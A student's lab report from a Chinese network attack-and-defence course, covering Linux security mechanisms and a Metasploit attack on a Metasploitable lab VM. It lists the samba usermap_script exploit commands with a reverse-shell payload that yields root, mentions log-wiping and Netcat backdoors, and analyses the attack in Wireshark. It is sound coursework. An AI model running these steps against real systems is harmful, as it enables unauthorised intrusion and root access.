20212818 2021-2022-2 《网络攻防实践》实践七报告
作者:互联网
一、实践内容
1、Linux系统结构
(1)Linux操作系统:一套基于Linux内核的完整操作系统为Linux操作系统。
(2)Linux操作系统的结构包括Linux内核,一些GNU运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境,并包含数千种从办公包、编译器、文本编辑器、科学工具到网络服务的应用软件。
(3)Linux进程与线程管理机制
Linux内核采用抢占式多用户多进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来执行。
(4)Linux的内存管理机制
- Linux的内存管理支持虚拟内存,在32位的i386机器上,每个进程拥有独立的4GB虚拟内存空间,内核的代码与数据段被映射到3GB以上的空间,而用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符来分别访问内核态和用户态的内存空间,在用户态中,代码不可能访问3GB以上的地址空间,如果要访问内核空间,必须通过系统调用或者中断。
- 内存管理模块为进程提供内存分配、内存回收、请求分页和交换页等系统调用服务。
(5)Linux的文件系统系统管理机制
- Linux内核使用了虚拟文件管理VFS机制,能够支持数十种不同类型的逻辑文件系统,通过设备驱动程序访问特定硬件设备
- VFS虚拟文件管理为用户进程提供了一组通用的文件系统调用函数,可以对不同的文件系统中的文件进行统一的操作
(6)Linux的设备控制机制
- Linux内核中处理或者管理硬件控制器的软件为设备驱动程序
- Linux核心的设备驱动程序的本质:是特权的、驻留内存的低级的硬件控制例程的共享库。
- Linux的基本特点:抽象了设备的处理,所有的硬件设备像常规文件一样看待
- Linux支持三类硬件设备:字符设备、块设备和网络设备
- 字符设备:直接读/写,没有缓冲区
(7)Linux的网络机制
Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持,网络接口分为网络协议栈和网络驱动程序。
(8)Linux系统调用机制
Linux的系统调用接口允许应用程序透过这层接口来访问硬件设备和其它系统资源,有助于保证系统的稳定可靠和安全,并为用户提供统一的抽象接口,有助于应用程序的跨平台移植
3、Linux系统远程攻防技术
(1)Linux远程口令字猜测攻击
-
利用Linux系统上的finger、rusers和sendmail之类的服务列举出目标系统上的用户账户名,即可猜测相关口令
-
Linux系统上的HTTP/HTTPS、FTP等网络服务拥有自己的用户账户体系和身份认证机制,可通过远程口令猜测获得网络服务的访问权,从而获取系统的本地访问权。
-
远程猜测口令工具常用的有Brutus、THC Hydra、Cain and Abel等。
-
对于远程口令猜测攻击的最佳防御措施就是使用不易猜中的强口令字
(2)Linux网络服务远程渗透攻击
-
Linux内核中的网络协议栈攻击
-
LAMP WEB网站中的网络服务攻击
-
电子邮件收发服务攻击
-
FTP、Samba等文件共享服务攻击
4、Linux系统本地安全攻防技术
(1)Linux系统上的消踪灭迹
-
攻击者在攻陷Linux系统后,通常不希望给系统管理员留下自己的入侵记录,因而往往会去清理系统上的日志目录,从而有效地抹除掉自己的行动踪迹。
-
攻击者还需要清理的是自己在shell程序中所输入的命令历史记录,shell是计算机用来解释你输入的命令然后决定进行何种处理的程序,Linux系统中的很多shell程序都记录运行过的历史命令,以提供检索和重复执行命令的功能。
(2)Linux系统远程控制后门程序
-
特洛伊木马化的系统程序
-
命令行后门工具:提供远程命令行shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个Linux系统shell与客户端进行交互。
-
图形化后门工具:最为常用的是图形化远程控制免费软件VNC。
5、Linux操作系统安全机制
(1)Linux身份认证机制
Linux是一个多用户多任务的操作系统,通过创建多种角色类型的用户和用户组来进行用户身份管理
-
用户:执行进程完成特定操作任务的主体,包括Root根用户、普通用户和系统用户
-
用户组:具有相同特征的用户账号集合。
-
本地登录用户认证机制:对用户在控制台登录的认证过程
-
远程登录用户认证机制:普遍使用SSH服务进行远程用户登录,有基于口令的身份认证和基于非对称密钥的身份认证
(2)Linux安全审计机制
主要通过三个主要的日志子系统实现
-
连接时间日志:系统管理员能跟踪谁在何时登录到系统
-
进程统计日志:为系统中的基本服务提供命令使用统计
-
错误日志记录:报告值得注意的事件
(3)Linux授权与访问控制机制
虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统授权和访问控制
-
文件所有者:该文件属于哪个用户
-
文件访问权限:通过附带的10个标志位进行设置
-
文件的特殊执行权限:常见的SUID、SGID权限
二、实践过程
任务一:使用Metasploit进行Linux远程渗透攻击
使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
在kali中输入msfconsole进入Metasploit
输入指令search usermap
来搜索渗透模块,结果如下图
输入use exploit/multi/samba/usermap_script
使用渗透模块,输入指令show payloads
来获取攻击负载模块列表,并选择攻击负载模块,reverse tcp
是指反向TCP连接,反向TCP:在正常转发连接中,客户端是通过服务器的开放端口连接到服务器的,但在反向连接的情况下,客户端会主动打开服务器上的端口。反向连接最常见的用途就是绕过防火墙和路由器的安全限制。在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体,通俗一点讲,在程序的世界里,payload(有效载荷)就是对于接收者有用的数据
输入指令set PAYLOAD cmd/unix/reverse
来设置有效的攻击载荷
输入ifconfig查看kali的IP地址为192.168.1.115,选择Metasploitable-ubuntu为靶机,并输入ipconfig查看其IP地址为192.168.1.113。
输入指令set lhost 192.168.1.115
设置攻击机地址,set rhost 192.168.1.113
设置靶机地址。
输入指令show options
看信息设置是否正确
输入run进行攻击
输入ifconfig
查看靶机IP,与真实IP一致,验证了本次渗透攻击已经成功。
执行whoami
查看获得权限为root。
任务二:实践作业:攻防对抗实践
-
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
-
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
实践二与实践一步骤相似,也是先进入Metasploit
选择攻击负载模块、设置攻击机/靶机地址,并进行攻击。其中kali的IP地址是192.168.1.115,同学的靶机IP地址为192.168.1.102。
在run
之前启动wireshark抓包,然后启动攻击,可以看到首先攻击机向靶机发送一个SMB的Negotiate Protocol Request
(协商协议请求)数据报,服务器响应一个SMB的Negotiate Protocol Response
(协商协议响应)数据报
然后攻击机向靶机发起一个Session setup X request
(会话设置请求)数据。
靶机确认身份后发送一个Session Setup X Response
(会话设置响应)数据报同意本次连接。
查看攻击发起时间,时间是2020年4月2日晚上10点59分58秒。
由下图可知源端口41185、目的端口4444、源地址192.168.1.102、目的地址192.168.1.115,
通过命令shell
查看shell权限账户。
通过id查看其所在的权限组,通过命令whomai
查看当前权限账户,可以看到权限为root。
回到wireshark,找到TCP协议密集的地方,追踪TCP流可以看见之前我们输入的命令
还可以看到shellcode,将里面的数据输入base64却依旧不可得明码。
三、学习中遇到的问题及解决
问题:在任务一中用kali攻击靶机时,提示靶机没有相应,因此无法攻击成功。
解决:将虚拟机kali和靶机模式都改为桥接模式之后,发现kali和靶机不在同一网段,因此攻击不成功。直接ping www.baidu.com发现也无法ping通,使用命令sudo dhclient eth0更新IP地址后,kali和靶机终于在同一网段,然后可以正常攻击。
四、实践总结
本来同学都说这次的作业很简单所以自己也放松了警惕,以为会很快完成。但是没想到自己做的时候出现的问题很奇怪,同样的攻击(自己的kali攻击自己的靶机)在实践六都可以成功,但是在实践七时却攻击不了,这实在是让我太迷惑了,所幸后面改成桥接模式之后再进行各种操作kali攻击靶机成功。这让我意识到,做事情不能心浮气躁,啥事儿都可能发生,要沉住气,耐心地一步一步完成任务。
这次实验使我对虚拟机的攻击操作更加熟练,更是提高了我解决问题的能力,对网络攻防的相关知识掌握得也更多,相信我在后续的实验中会越做越好。
标签:攻击,实践,用户,20212818,2021,Linux,靶机,远程,内核 来源: https://www.cnblogs.com/fairry/p/16213807.html